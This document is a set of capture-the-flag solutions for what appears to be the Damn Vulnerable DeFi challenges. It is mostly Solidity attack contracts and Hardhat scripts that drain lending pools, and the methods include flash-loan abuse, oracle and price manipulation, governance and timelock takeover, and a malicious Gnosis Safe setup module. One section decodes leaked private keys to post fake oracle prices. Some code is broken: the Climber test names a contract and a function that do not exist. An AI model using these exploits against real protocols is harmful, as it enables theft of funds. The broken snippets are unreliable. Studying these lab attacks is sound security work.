Some Problem Solutions
unstoppable#
Problem Solution
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.transfer(this.pool.address, 1);
});
Analysis
In falshLoan(), there is an assert(poolBalance == balanceBefore);
So, we just need to transfer to the pool without going through deposit() to make the assert condition fail.
truster#
Problem Solution
Attack Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
interface Token {
function approve(address spender, uint256 amount) external returns (bool);
}
contract TrusterExploit {
function getApprove(
address spender,
uint256 amount
) public returns (bytes memory) {
bytes memory data = abi.encodeWithSelector(
Token.approve.selector,
spender,
amount
);
return data;
}
function DOflashLoan(
TrusterLenderPool pool,
uint256 amount,
address borrower,
address target,
address player
) public {
bytes memory data = getApprove(player, amount);
pool.flashLoan(0, borrower, target, data);
}
}
Then execute another operation in js:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
/*const data = web3.eth.abi.encodeFunctionCall(
{
name: 'approve',
type: 'function',
inputs: [
{
type: 'address',
name: 'spender'
},
{
type: 'uint256',
name: 'amount'
}
]
}, [player.address, TOKENS_IN_POOL]
)*/
[deployer, player] = await ethers.getSigners();
exploit = await (await ethers.getContractFactory('TrusterExploit', deployer)).deploy();
await exploit.DOflashLoan(pool.address, TOKENS_IN_POOL, player.address, token.address, player.address);
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});
Analysis
Construct data to call the token contract's approve() function to add permission equal to TOKEN_IN_POOL for itself, then execute flashLoan to borrow 0 funds, and finally execute the token contract's transferFrom to withdraw the funds.
naive-receiver#
Problem Solution
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
await pool.flashLoan(receiver.address, ETH, 0, "0x");
}
});
Analysis
Since each loan consumes 1 ETH, just let the receiver perform ten loans.
side-entrance#
Problem Solution
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
contract FlashLoanEtherReceiverMock {
SideEntranceLenderPool pool;
constructor(address ipool) public {
pool = SideEntranceLenderPool(ipool);
}
function exploit() external payable {
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
function execute() external payable {
pool.deposit{value: address(this).balance}();
}
receive() external payable {}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
let attacker = await (await ethers.getContractFactory('FlashLoanEtherReceiverMock', player)).deploy(pool.address);
await attacker.connect(player).exploit();
});
Analysis:
After executing flashLoan(), execute() to deposit the borrowed funds back into the pool under its own account, but since the pool indeed has that much money, it bypasses the check if (address(this).balance < balanceBefore) revert RepayFailed();. After that, it can call withdraw() to withdraw the funds and transfer the money to itself.
the-rewarder#
Problem Solution
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableToken.sol";
import "./FlashLoanerPool.sol";
//import "./RewardToken.sol"; // Not sure why import throws an error for duplicate definition, but it works when commented out
import "./TheRewarderPool.sol";
contract DearSuspect {
DamnValuableToken liquidToken;
RewardToken rewardToken;
FlashLoanerPool flashloanPool;
TheRewarderPool rewardPool;
constructor(
address _liquidityToken,
address _rewardToken,
address _flashLoanerPool,
address _theRewarderPool
) {
liquidToken = DamnValuableToken(_liquidityToken);
rewardToken = RewardToken(_rewardToken);
flashloanPool = FlashLoanerPool(_flashLoanerPool);
rewardPool = TheRewarderPool(_theRewarderPool);
}
function exploit() public {
uint256 amount = liquidToken.balanceOf(address(flashloanPool));
flashloanPool.flashLoan(amount);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}
function receiveFlashLoan(uint256 amount) external {
liquidToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.withdraw(amount);
liquidToken.transfer(address(flashloanPool), amount);
} // Operations after executing the flash loan
fallback() external payable {}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days, especially note here, need to increase the chain time by this operation for success
let suspectFactory = await ethers.getContractFactory('DearSuspect', deployer);
let suspect = await suspectFactory.deploy(liquidityToken.address, rewardToken.address, flashLoanPool.address, rewarderPool.address);
await suspect.connect(player).exploit();
});
Analysis:
In TheRewardPool contract, liquidityToken is the actual token, accToken is the token used for logical operations, and rewardToken is the reward.
The reward calculation method is: rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);, did not find the specific code for mulDiv function, but from the name, it seems to perform multiplication and division, so try using all funds in the pool for calculation.
selfie#
Problem Solution
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ISimpleGovernance.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
interface IERC20Snapshot is IERC20 {
function snapshot() external returns (uint256 lastSnapshotId);
}
contract suspect {
SelfiePool public immutable pool;
SimpleGovernance public governance;
IERC20Snapshot public immutable token;
address public immutable owner;
IERC3156FlashBorrower public borrower;
uint256 amount;
constructor(address _pool, address _governance, address _token) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = IERC20Snapshot(_token);
owner = msg.sender;
borrower = IERC3156FlashBorrower(address(this));
}
function attack() public {
amount = token.balanceOf(address(pool));
pool.flashLoan(borrower, address(token), amount, "0x111");
}
function onFlashLoan(
address,
address,
uint256,
uint256,
bytes calldata
) public returns (bytes32) {
require(msg.sender == address(pool), "not pool");
require(tx.origin == owner, "not owner");
token.snapshot();
bytes memory data = abi.encodeWithSignature(
"emergencyExit(address)",
owner
);
governance.queueAction(address(pool), 0, data);
token.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
this.suspect = await (await ethers.getContractFactory("suspect", player)).deploy(pool.address, governance.address, token.address);
await this.suspect.attack();
const ACTION_DELAY = 2 * 24 * 60 * 60 + 1;
await time.increase(ACTION_DELAY); // to deal with the question :uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; in SimpleGovernance.sol
await governance.connect(player).executeAction(1); // queue and execute action
});
Analysis:
The problem indicates that governance will have issues, and the pool provides flash loans and emergencyExit, so just go for it.
compromised#
Problem Solution
Execution Operation:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// Input hexadecimal string
const hexString1 = "4d48686a4e6a63345a575978595745304e545a6b59545931597a5a6d597a55344e6a466b4e4451344f544a6a5a475a68597a426a4e6d4d34597a49314e6a42695a6a426a4f575a69593252685a544a6d4e44637a4e574535";
const hexString2 = "4d4867794d4467794e444a6a4e4442685932526d59546c6c5a4467344f5755324f44566a4d6a4d314e44646859324a6c5a446c695a575a6a4e6a417a4e7a466c4f5467334e575a69593251334d7a597a4e444269596a5134";
// Convert hexadecimal strings to byte arrays
const byteArray1 = hexString1.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
const byteArray2 = hexString2.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
// Decode byte arrays to UTF-8 text
const base64Text1 = Buffer.from(byteArray1).toString('utf-8');
const base64Text2 = Buffer.from(byteArray2).toString('utf-8');
// Decode base64 text to UTF-8 text
const privateKey_one = Buffer.from(base64Text1, 'base64').toString('utf-8');
const privateKey_two = Buffer.from(base64Text2, 'base64').toString('utf-8');
// Connect wallet to make a quote
const wallet_1 = new ethers.Wallet(privateKey_one, ethers.provider);
const wallet_2 = new ethers.Wallet(privateKey_two, ethers.provider);
await oracle.connect(wallet_1).postPrice('DVNFT', 1); // Since buy requires msg.value != 0, so here we won't quote 0
await oracle.connect(wallet_2).postPrice('DVNFT', 1);
await exchange.connect(player).buyOne({ value: 1 });
// Change the quote to perform a sell operation
await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);
// Change the quote back
await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE);
await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE);
/*
After trying, it must use two accounts to quote; otherwise, it will fail and throw an error in buyOne(): reverted with custom error 'InvalidPayment()';
The reason is that TrustfulOracle requires uint256[] memory prices = getAllPricesForSymbol(symbol);
*/
});
puppet#
Problem Solution
Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
/*
Interaface code:
@private
@constant
def getInputPrice(input_amount: uint256, input_reserve: uint256, output_reserve: uint256) -> uint256:
assert input_reserve > 0 and output_reserve > 0
input_amount_with_fee: uint256 = input_amount * 997
numerator: uint256 = input_amount_with_fee * output_reserve
denominator: uint256 = (input_reserve * 1000) + input_amount_with_fee
return numerator / denominator
@private
def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256(wei):
assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
token_reserve: uint256 = self.token.balanceOf(self)
eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
assert wei_bought >= min_eth
send(recipient, wei_bought)
assert self.token.transferFrom(buyer, self, tokens_sold)
log.EthPurchase(buyer, tokens_sold, wei_bought)
return wei_bought
*/
interface IUniswapExchangeV1 {
function tokenToEthTransferInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline,
address recipient
) external returns (uint256);
}
interface IPool {
function borrow(uint256 amount, address recipient) external payable;
}
contract PuppetPoolExploit {
/*
In before_setting:
const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n ** 18n;
const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n ** 18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n ** 18n;
const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n ** 18n;
*/
uint256 immutable SELL_DVT_AMOUNT = 1000 ether;
uint256 immutable DEPOSIT_FACTOR = 2;
uint256 immutable BORROW_DVT_AMOUNT = 100000 ether;
IUniswapExchangeV1 immutable UniExchange;
IERC20 immutable token;
IPool immutable pool;
address immutable player;
/*
Basic information in PupetPool.sol:
uint256 public constant DEPOSIT_FACTOR = 2;
address public immutable uniswapPair;
DamnValuableToken public immutable token;
*/
constructor(address _token, address _pair, address _pool) {
token = IERC20(_token);
pool = IPool(_pool);
UniExchange = IUniswapExchangeV1(_pair);
player = msg.sender;
}
function exploit() external payable {
require(msg.sender == player);
// Dump DVT to the Uniswap Pool
token.approve(address(UniExchange), SELL_DVT_AMOUNT);
UniExchange.tokenToEthTransferInput(
SELL_DVT_AMOUNT,
9,
block.timestamp,
address(this)
);
// Calculate and return collateral
uint256 price = (address(UniExchange).balance * (10 ** 18)) /
token.balanceOf(address(UniExchange));
uint256 depositRequired = (BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR) /
10 ** 18;
// This part of the code is used for output debugging information
console.log("contract ETH balance:", address(this).balance);
console.log("DVT price:", price);
console.log("Deposit Required:", depositRequired);
pool.borrow{value: depositRequired}(BORROW_DVT_AMOUNT, player);
}
receive() external payable {}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
[, , this.anotherPlayer] = await ethers.getSigners();
const PuppetExploitFactory = await ethers.getContractFactory('PuppetPoolExploit', this.anotherPlayer);
this.PuppetExploit = await PuppetExploitFactory.deploy(
token.address,
uniswapExchange.address,
lendingPool.address
);
token.connect(player).transfer(this.PuppetExploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
await this.PuppetExploit.exploit({ value: 11n * 10n ** 18n });
await token.connect(this.anotherPlayer).transfer(player.address, await token.balanceOf(this.anotherPlayer.address));
});
Analysis
This question involves a vulnerability in uniswapV1, as the pricing in the question contract completely relies on uniswapPair, so we can deposit our PLAYER_INITIAL_TOKEN_BALANCE into a uniswapPair instance, which will instantly destroy the price, and then just execute borrow to get all the DVT.
puppet-v2#
Attack Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
interface IUniswapV2Pouter {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
/**
* @title
* @author
* @notice
* The key function from UniswapV2 which was contained in Pool:
*
* address public immutable override WETH;
*
* function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
_swap(amounts, path, to);
}
*/
interface IWETH is IERC20 {
function deposit() external payable;
}
interface IPool {
function borrow(uint256 borrowAmount) external;
function calculateDepositOfWETHRequired(
uint256 tokenAmount
) external view returns (uint256);
}
/**
* The basic setting of the challenge:
const UNISWAP_INITIAL_TOKEN_RESERVE = 100n * 10n ** 18n;
const UNISWAP_INITIAL_WETH_RESERVE = 10n * 10n ** 18n;
const PLAYER_INITIAL_TOKEN_BALANCE = 10000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 20n * 10n ** 18n;
const POOL_INITIAL_TOKEN_BALANCE = 1000000n * 10n ** 18n;
*/
contract PuppetV2Exploit {
uint256 immutable DUMP_DVT_AMOUNT = 10000 ether;
uint256 immutable BORROW_DVT_AMOUNT = 1000000 ether;
IUniswapV2Pouter immutable router;
IWETH immutable weth;
IPool immutable pool;
IERC20 immutable token;
address immutable player;
constructor(address _router, address _pool, address _token) {
router = IUniswapV2Pouter(_router);
pool = IPool(_pool);
token = IERC20(_token);
weth = IWETH(router.WETH());
player = msg.sender;
}
function exploit() external payable {
require(msg.sender == player);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
token.approve(address(router), DUMP_DVT_AMOUNT);
router.swapExactTokensForTokens(
DUMP_DVT_AMOUNT,
9 ether,
path,
address(this),
block.timestamp
);
// Convert ETH to wrapped
weth.deposit{value: address(this).balance}();
// Calculate the amount
uint256 RequiredWeth = pool.calculateDepositOfWETHRequired(
BORROW_DVT_AMOUNT
);
console.log("contract WETH balance:", weth.balanceOf(address(this)));
console.log("Required WETH:", RequiredWeth);
// Approve and borrow
weth.approve(address(pool), weth.balanceOf(address(this)));
pool.borrow(BORROW_DVT_AMOUNT);
// Transfer all DVT and WETH
token.transfer(player, token.balanceOf(address(this)));
weth.transfer(player, weth.balanceOf(address(this)));
}
receive() external payable {}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const PuppetV2ExploitFactory = await ethers.getContractFactory('PuppetV2Exploit', player);
this.PuppetV2Exploit = await PuppetV2ExploitFactory.deploy(
uniswapRouter.address,
lendingPool.address,
token.address
);
await token.connect(player).transfer(this.PuppetV2Exploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
await this.PuppetV2Exploit.exploit({ value: PLAYER_INITIAL_ETH_BALANCE - 4n * 10n ** 17n });
});
Analysis
This question is similar to the previous one, both require checking the source code of uniswap to find the corresponding function to swap tokens to destroy the price, and then you can borrow all DVT from the pool.
free-rider#
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
}
contract AttackFreeRider {
IUniswapV2Pair private immutable pair;
IMarketplace private immutable marketplace;
IWETH private immutable weth;
IERC721 private immutable nft;
address private immutable recoveryContract;
address private immutable player;
uint256 private constant NFT_PRICE = 15 ether;
uint256[] private tokens = [0, 1, 2, 3, 4, 5];
constructor(
address _pair,
address _marketplace,
address _weth,
address _nft,
address _recoveryContract
) {
pair = IUniswapV2Pair(_pair);
marketplace = IMarketplace(_marketplace);
weth = IWETH(_weth);
nft = IERC721(_nft);
recoveryContract = _recoveryContract;
player = msg.sender;
}
function attack() external payable {
// 1. Request a flashSwap of 15 WETH from Uniswap Pair
bytes memory data = abi.encode(NFT_PRICE);
pair.swap(NFT_PRICE, 0, address(this), data);
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// Access Control
require(msg.sender == address(pair));
require(tx.origin == player);
// Unwrap WETH to native ETH
weth.withdraw(NFT_PRICE);
// Buy all NFTs for only 15 ETH total
marketplace.buyMany{value: NFT_PRICE}(tokens);
// Pay back 15WETH + 0.3% to the pair contract
uint256 amountToPayBack = (NFT_PRICE * 1004) / 1000;
weth.deposit{value: amountToPayBack}();
weth.transfer(address(pair), amountToPayBack);
// Send NFTs to recovery contract so we can get the bounty
bytes memory data = abi.encode(player);
for (uint256 i; i < tokens.length; i++) {
nft.safeTransferFrom(address(this), recoveryContract, i, data);
}
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const FreeRiderAttacker = await ethers.getContractFactory("AttackFreeRider", player);
this.attackerContract = await FreeRiderAttacker.deploy(
uniswapPair.address, marketplace.address, weth.address,
nft.address, devsContract.address
);
await this.attackerContract.attack({ value: ethers.utils.parseEther("0.045") });
});
Analysis
The FreeRiderNFTMarketplace has the following vulnerability:
-
There is an issue with the msg.value verification in the contract, the _buyOne function checks whether the user has paid enough ETH to purchase the NFT, but there is a logical error. The buyer can use the buyMany function to purchase all NFTs while only paying for one NFT, keeping msg.value unchanged.
-
ETH is sent to the NFT buyer instead of the seller. This happens because the NFT is transferred before sending ETH, leading to refunds to the buyer.
The problem is that we initially have only 0.1 ETH, which is not enough to buy any NFT, so we need to achieve the goal through flash loans.
The process is approximately:
Borrow => Unwrap the borrowed WETH to ETH => Exploit the vulnerability in _buyOne to call buyMany to obtain all NFTs => Due to the second error, receive all ETH and NFTs => Repay and send NFTs to the Recovery contract
Backdoor#
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../backdoor/WalletRegistry.sol";
interface IGnosisFactory {
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) external returns (GnosisSafeProxy proxy);
}
contract MaliciousApprove {
function approve(address attacker, IERC20 token) public {
token.approve(attacker, type(uint256).max);
}
}
contract AttackBackdoor {
WalletRegistry private immutable walletRegistry;
IGnosisFactory private immutable factory;
GnosisSafe private immutable masterCopy;
IERC20 private immutable token;
MaliciousApprove private immutable maliciousApprove;
constructor(address _walletRegistry, address[] memory users) {
// Set state variables
walletRegistry = WalletRegistry(_walletRegistry);
masterCopy = GnosisSafe(payable(walletRegistry.masterCopy()));
factory = IGnosisFactory(walletRegistry.walletFactory());
token = IERC20(walletRegistry.token());
// Deploy malicious backdoor for approve
maliciousApprove = new MaliciousApprove();
// Create a new safe through the factory for every user
bytes memory initializer;
address[] memory owners = new address[](1);
address wallet;
for (uint256 i; i < users.length; i++) {
owners[0] = users[i];
initializer = abi.encodeCall(
GnosisSafe.setup,
(
owners,
1,
address(maliciousApprove),
abi.encodeCall(
maliciousApprove.approve,
(address(this), token)
),
address(0),
address(0),
0,
payable(address(0))
)
);
wallet = address(
factory.createProxyWithCallback(
address(masterCopy),
initializer,
0,
walletRegistry
)
);
token.transferFrom(wallet, msg.sender, token.balanceOf(wallet));
}
}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const AttackBackdoor = await ethers.getContractFactory("AttackBackdoor", player);
this.attackerContract = await AttackBackdoor.deploy(walletRegistry.address, users)
});
Analysis
In GnosisSafe.sol, the function setup has the following parameters:
_owners: List of safe owners
_threshold: Number of confirmations required for safe transactions
to: Optional contract address to represent the call
data: Data for the proxy call
fallbackHandler: Fallback handler for calling contracts
paymentToken: Payment token (0 indicates ETH or a specific token)
payment: Payment amount
paymentReceiver: Address to receive the payment
Where data and fallbackHandler can be exploited, and the function createProxyWithCallback in IGnosisFactory can be used to generate a new proxy wallet.
The attack has the following steps:
1. Deploy the malicious contract and trigger the Gnosis Safe Factory contract to execute the createProxyWithCallback function.
2. Create a Gnosis safe proxy: Deploy a new Gnosis Safe proxy through the factory, pointing to the masterCopy implementation.
3. Execute the malicious module: Allow the setup function to automatically execute in the new proxy, allowing the MaliciousApprove contract in the setup to approve the attack contract on behalf of the new safe proxy managing DVT.
4. Callback execution: Activate the callback function to call WalletRegistry, executing a series of verifications and checks.
5. Transfer DVT: All checks have passed, transferring DVT to the safe proxy through WalletRegistry.
6. Steal tokens: Execute transferFrom to steal DVT tokens from the safe.
Climber#
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "./ClimberTimelock.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberVault.sol";
contract attack6 is UUPSUpgradeable{
ClimberTimelock immutable timelock;
address immutable vaultProxyAddress;
IERC20 immutable token;
address immutable attacker;
constructor(ClimberTimelock _timelock,address _vaultProxyAddress,IERC20 _token){
timelock=_timelock;
vaultProxyAddress = _vaultProxyAddress;
token = _token;
attacker = msg.sender;
}
function buildProposal() internal returns(address[]memory,uint256[]memory,bytes[]memory){
address[] memory targets= new address[](5);
uint256[] memory values =new uint256[](5);
bytes[] memory dataElements=new bytes[](5);
// Set delay to 0
targets[0]=address(timelock);
values[0]=0;
dataElements[0]=abi.encodeWithSelector(ClimberTimelock.updateDelay.selector,0);
// Grant proposer role to the contract
targets[1]=address(timelock);
values[1]=0;
dataElements[1]=abi.encodeWithSelector(AccessControl.grantRole.selector,timelock.PROPOSER_ROLE(),address(this));
// Schedule the proposal
targets[2]=address(this);
values[2]=0;
dataElements[2] = abi.encodeWithSelector(
attack6.scheduleProposal.selector
);
// Upgrade climbervault, replacing the sweepFunds function inside
targets[3]=address(vaultProxyAddress);
values[3]=0;
dataElements[3]=abi.encodeWithSelector(UUPSUpgradeable.upgradeTo.selector,address(this));
// Transfer the funds
targets[4]=address(vaultProxyAddress);
values[4]=0;
dataElements[4]=abi.encodeWithSelector(attack6.sweepFunds.selector);
return (targets,values,dataElements);
}
function scheduleProposal()external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = buildProposal();
timelock.schedule(targets, values, dataElements, 0);
}
function executeProposal() external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = buildProposal();
timelock.execute(targets, values, dataElements, 0);
}
function sweepFunds()external {
token.transfer(attacker,token.balanceOf(address(this)));
}
function _authorizeUpgrade(address newImplementation) internal override {}
}
Execution Operation
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
this.attack = await (await ethers.getContractFactory("attack", attacker)).deploy(this.timelock.address, this.vault.address, this.token.address);
await this.attack.connect(attacker).excuteProposal();
});
Analysis
Attack Steps:
- Set the delay to 0
- Grant the attack contract proposer permissions
- Upgrade the climbervault contract to override the sweepFunds method
- Execute sweepFunds to retrieve the funds
And before execute, it needs to be scheduled.